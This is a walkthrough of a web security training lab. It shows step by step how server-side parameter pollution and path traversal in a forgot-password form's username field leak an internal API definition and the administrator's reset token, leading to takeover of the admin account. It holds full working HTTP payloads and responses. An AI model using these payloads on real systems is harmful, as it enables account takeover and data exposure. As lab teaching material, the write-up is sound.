Exploiting server side parameter pollution in a REST URL

Description

To solve the lab, log in as the administrator and delete carlos.

Approach

After accessing the lab, I enabled the FoxyProxy extension to proxy all my requests through Burp Suite. Two requests got my attention: one fetching a JavaScript file and the other a POST request to /forgot-password.

Starting with the GET /static/js/forgotPassword.js, there is an interesting part in the JavaScript script:

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }

This part is responsible for getting the value of passwordResetToken and verifying it. If it exists, it redirects with a GET request to /forgot-password with that passwordResetToken.

From this information, I can build an attack path to get the administrator's passwordResetToken, reset their password, log in as them, and delete the user Carlos.

I started working on how to get the passwordResetToken of the administrator. I went to the POST /forgot-password request and sent it to the repeater in Burp Suite to start working on it. I started by truncating the query string with the # character:

POST /forgot-password HTTP/2
Host: 0ada009f03b2058781472faf00550026.web-security-academy.net
Cookie: session=bb7bjqWIY6WBTvIkezybzDfZtiBq6cJP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

csrf=vBr4ih5Bd22dgiBe4Pkw1y2jCUgSgVDX&username=administrator%23

I got this error:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

From this, I understood that the truncation worked, but it destroyed the query string, making it unable to reach the intended route. To clarify, imagine this is the normal route:

/api/library/books/{book}/category/{category}

And I sent this:

book=HarryPotter%23

The query string would become:

/api/library/books/HarryPotter%23

That's not a valid route, so the API triggers an error indicating an invalid route.

Going back to the analysis, I tried using path traversal with common API definition file names, starting with the one mentioned in the course: openapi.json. After some attempts, I got a response after passing this payload URL-encoded: administrator../../../../../../openapi.json#.

POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=administrator%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fopenapi.json%23

The response was:

HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 629

{
  "error": "Unexpected response from API server:
{
  "openapi": "3.0.0",
  "info": {
    "title": "User API",
    "version": "2.0.0"
  },
  "paths": {
    "/api/internal/v1/users/{username}/field/{field}": {
      "get": {
        "tags": [
          "users"
        ],
        "summary": "Find user by username",
        "description": "API Version 1",
        "parameters": [
          {
            "name": "username",
            "in": "path",
            "description": "Username",
            "required": true,
            "schema": {
        ..."
}

From this, I could see the /api/internal/v1/users/{username}/field/{field} route, which helped me understand the invalid route error I was getting.

I decided to go for the reset token of the administrator:

POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=administrator/field/passwordResetToken%23

I got this error:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107

{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}

I couldn't get it this way, but looking at the documentation, I saw it was using version 2 of the API. I confirmed this by reaching the token again from a full path where the version is equal to 2:

../../v2/users/administrator/field/passwordResetToken#

When sending this request:

POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=%2e%2e%2f%2e%2e%2fv2/users/administrator/field/passwordResetToken%23

I got the same error, confirming my theory:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107

{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}

Now, I tried using an older version, version 1, to see if it worked:

POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0


csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=%2e%2e%2f%2e%2e%2fv1/users/administrator/field/passwordResetToken%23

I got the reset token in the response:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 82

{
  "type": "passwordResetToken",
  "result": "pgjg38611p8vj5bozjcc0e0r5u3mjiso"
}

Now, by sending this request:

GET /forgot-password?passwordResetToken=pgjg38611p8vj5bozjcc0e0r5u3mjiso HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

In the response, I could see the password reset page for the administrator user. By simply right-clicking the response and clicking Show response in browser, I could copy and paste the URL into the browser and reset the administrator's password. Finally, I logged in as the administrator and deleted the user Carlos, which resulted in solving the lab.